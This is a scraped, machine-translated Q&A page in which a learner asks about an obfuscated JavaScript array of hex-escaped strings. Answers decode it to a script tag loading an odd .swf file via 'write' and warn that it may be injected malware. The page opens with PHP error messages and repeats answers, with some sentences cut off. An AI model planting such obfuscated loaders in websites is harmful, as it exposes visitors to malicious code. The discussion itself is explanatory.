Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/455.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
我正在学习更多的JavaScript,我想对这段代码有一些了解_Javascript - Fatal编程技术网

我正在学习更多的JavaScript,我想对这段代码有一些了解

我正在学习更多的JavaScript,我想对这段代码有一些了解,javascript,Javascript,我正在学习JavaScript,我发现了以下代码: <script> var _0x98bd=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x6A\x73\x2F\x4E\x31\x39\x53\x38\x37\x4E\x39\x4E\x41\x39\x38\x37\x31\x58\x39\x38\x37\x5A\x5A\x58\x2E\x73\x77\x66\x22\x3E\x3C\x2F\x73\x63\x72\x

我正在学习JavaScript,我发现了以下代码:

<script>

var _0x98bd=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x6A\x73\x2F\x4E\x31\x39\x53\x38\x37\x4E\x39\x4E\x41\x39\x38\x37\x31\x58\x39\x38\x37\x5A\x5A\x58\x2E\x73\x77\x66\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];

</script>

有人知道这是什么意思吗?

这只是用一个只有两个字符串元素的数组初始化变量_0x98bd

该字符串包含一个脚本标记,如果插入到DOM中,它将加载一些flash文件。第二种方法包括只写


这可能是蠕虫的代码,它利用了一些浏览器错误。如果您在任何生产性网站上发现此问题,您应该通知该网站的所有者,因为这可能是恶意代码

这只是用一个只有两个字符串元素的数组初始化变量_0x98bd

该字符串包含一个脚本标记,如果插入到DOM中,它将加载一些flash文件。第二种方法包括只写


这可能是蠕虫的代码,它利用了一些浏览器错误。如果您在任何生产性网站上发现此问题,您应该通知该网站的所有者,因为这可能是恶意代码

它生成此数组:

["<script src="js/N19S87N9NA9871X987ZZX.swf"></script>", "write"] 

我不知道代码的作者想用它做什么

它生成此数组:

["<script src="js/N19S87N9NA9871X987ZZX.swf"></script>", "write"] 

我不知道代码的作者想用它做什么

数组的第一个元素是以下代码:

<script src="js/N19S87N9NA9871X987ZZX.swf"></script>

数组的第一个元素是以下代码:

<script src="js/N19S87N9NA9871X987ZZX.swf"></script>

这是模糊的javascript代码。请参见

这是模糊的javascript代码。请参见

如果您说您正在学习JS,那么您可以在第22-24页的ECMA-262标准中找到该代码的解释 因为数组的两个元素介于两个元素之间,所以它们是字符串文字。\被称为转义字符,x后面必须跟两个十六进制数字,表示: x HexDigit HexDigit是其代码单位值为第一个HexDigit的MV加上第二个HexDigit的MV的16倍的字符
例如\x3C相当于您所说的学习JS的“,因此您可以在第22-24页的ECMA-262标准中找到关于为什么会这样的解释 因为数组的两个元素介于两个元素之间,所以它们是字符串文字。\被称为转义字符,x后面必须跟两个十六进制数字,表示: x HexDigit HexDigit是其代码单位值为第一个HexDigit的MV加上第二个HexDigit的MV的16倍的字符
因此,例如\x3C相当于“基于我的搜索,上面的代码是用模糊器完成的,我尝试了一些反模糊器方法,但没有发现运气,所以可能它没有模糊化?值是ASCII十六进制值:基于我的搜索,上面的代码是用模糊器完成的,我尝试了一些反模糊器方法,但没有发现运气,所以可能它没有混淆?这些值是ASCII十六进制值:@Mico。看一看,当然你必须用带有控制台的浏览器来测试它……感谢@gdoron提供demo@Mico. 看一看,当然你必须用带有控制台的浏览器来测试它……感谢@gdoron提供演示